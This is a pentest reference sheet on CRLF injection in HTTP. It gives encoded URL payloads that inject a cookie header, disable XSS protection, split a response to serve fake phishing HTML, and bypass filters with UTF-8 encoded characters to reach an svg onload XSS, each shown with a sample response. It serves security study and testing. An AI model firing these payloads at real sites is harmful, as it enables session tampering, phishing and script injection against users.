# Carriage Return Line Feed > The term CRLF refers to Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, \n). They're used to note the termination of a line, however, dealt with differently in today’s popular Operating Systems. For example: in Windows both a CR and LF are required to note the end of a line, whereas in Linux/UNIX a LF is only required. In the HTTP protocol, the CR-LF sequence is always used to terminate a line. > A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL. ## Summary - [CRLF - Add a cookie](#crlf---add-a-cookie) - [CRLF - Add a cookie - XSS Bypass](#crlf---add-a-cookie---xss-bypass) - [CRLF - Write HTML](#crlf---write-html) - [CRLF - Filter Bypass](#crlf---filter-bypass) - [Labs](#labs) - [References](#references) ## CRLF - Add a cookie Requested page ```http http://www.example.net/%0D%0ASet-Cookie:mycookie=myvalue ``` HTTP Response ```http Connection: keep-alive Content-Length: 178 Content-Type: text/html Date: Mon, 09 May 2016 14:47:29 GMT Location: https://www.example.net/[INJECTION STARTS HERE] Set-Cookie: mycookie=myvalue X-Frame-Options: SAMEORIGIN X-Sucuri-ID: 15016 x-content-type-options: nosniff x-xss-protection: 1; mode=block ``` ## CRLF - Add a cookie - XSS Bypass Requested page ```powershell http://example.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a%0d%0a0%0d%0a/%2f%2e%2e ``` HTTP Response ```http HTTP/1.1 200 OK Date: Tue, 20 Dec 2016 14:34:03 GMT Content-Type: text/html; charset=utf-8 Content-Length: 22907 Connection: close X-Frame-Options: SAMEORIGIN Last-Modified: Tue, 20 Dec 2016 11:50:50 GMT ETag: "842fe-597b-54415a5c97a80" Vary: Accept-Encoding X-UA-Compatible: IE=edge Server: NetDNA-cache/2.2 Link: 0 ``` ## CRLF - Write HTML Requested page ```http http://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E ``` HTTP response ```http Set-Cookie:en Content-Length: 0 HTTP/1.1 200 OK Content-Type: text/html Last-Modified: Mon, 27 Oct 2060 14:50:18 GMT Content-Length: 34 You have been Phished ``` ## CRLF - Filter Bypass Using UTF-8 encoding ```http %E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28innerHTML%28%29%E5%98%BE ``` Remainder: * %E5%98%8A = %0A = \u560a * %E5%98%8D = %0D = \u560d * %E5%98%BE = %3E = \u563e (>) * %E5%98%BC = %3C = \u563c (<) ## Labs * [https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-splitting-via-crlf-injection](https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-splitting-via-crlf-injection) ## References * https://www.owasp.org/index.php/CRLF_Injection * https://vulners.com/hackerone/H1:192749